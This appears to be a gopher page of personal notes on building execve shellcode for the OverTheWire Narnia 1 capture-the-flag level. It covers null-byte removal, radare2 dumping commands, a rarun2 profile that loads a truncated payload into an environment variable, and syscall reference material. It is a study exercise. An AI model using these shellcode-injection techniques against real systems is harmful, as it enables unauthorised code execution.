[*] Written in C and compiled it as assembly
       [*] Strip away a few bits (e.g. set up for the stack frame)
           which are pointless: exec is a no-return.
       [*] Workarounds to remove two \x00 bytes that are
           dissiminated in the current result.
       [ ] Direct syscall to exec instead of jumping to libc
       
       Compilation as by the makefile (also below).
       The target is 32-bit linux (matching the CTF system), which needs
       some extra packages for the build to work under 64-bit systems.
       On OpenSUSE: glibc-32bit + gcc13-32bit
       
       Since I'm acquiring expertise with radare2: dumping it can be an
       interesting exercise:
       
       > Assuming that `ret` was added to the code (or else r2 will be
       somewhat confused on how to determine the end of the frame):
        @@ -27,5 +27,6 @@ foo:
                leal    -16(%ebp), %eax
                pushl   %eax
                call    execl
        +       ret
                .size   foo, .-foo
                .section        .note.GNU-stack,"",@progbits
       
       > Check disassembly of result:
        $ r2 -Aqc 'pdf @ sym.foo' ./shellcode.o
       
       > Dump disassembly to a file:
        $ r2 -Aqc 'pdf @ sym.foo' ./shellcode.o |
          xxd -p -r - shellcode.bin
       
       > Dump string representation
        $ r2 -Aqc 'psx $FS - 1 @ sym.foo'
       
       > Dump/disassemble in radare2
        $ r2 -Aqc 'pdf sym.foo' ./shellcode.o
       
       > Execution in radare2 via rarun2:
        $ more rarun.rr2
        stdio=/dev/pts/5
        setenv=EGG=\x83\xec\x18\... # etc
        $ r2 -r /tmp/.../rarun.rr2 ./narnia1
       
       > https://lwn.net/Articles/604287/
        The standard ABI for how x86_64 user programs invoke a system call is to 
        the system call number (0 for read) into the RAX register, and the other
        parameters into specific registers (RDI, RSI, RDX for the first 3 paramet
        then issue the SYSCALL instruction.
       
       > sys_execve -> 59
        RDI -> filename
        RSI -> argv[]
        RDX -> envp[]
       
       > Some useful info gathered about assembly, on ##asm (Libera.chat)
        Instructions such as "push %edx" is only available in 32 bit mode (gcc -m
        This is because the 0x52 opcode that means "push edx" in 32 bit mode mean
        "push rdx" in 64 bit mode.
        Regardless of 32-bit or 64-bit mode, it is always possible to push a 16 b
        value or register:
       
            opcode      32 bit mode     64 bit mode
            50          push eax        push rax
            6650        push ax         push ax
       
       > vDSO
        Dynamically linked to executable.  Use ldd(1) on the binary to
        appreciate it.
        The kernel links an ELF file. The name of it depends on the
        architecture.
        Common names are listed on vdso(7).
       
       
 (HTM) Narnia 1 CTF (overthewire.org)
       
 (DIR) ..                                                                       
 (TXT) GNUmakefile                                  2024-Mar-12 23:16     0.1 KB
 (TXT) main.c                                       2024-Apr-01 19:17     0.1 KB
 (TXT) shellcode.S                                  2024-Apr-24 19:41     0.7 KB
       __________________________________________________________________________
                             Gophered by Gophernicus/3.0.1 on FreeBSD/amd64 14.0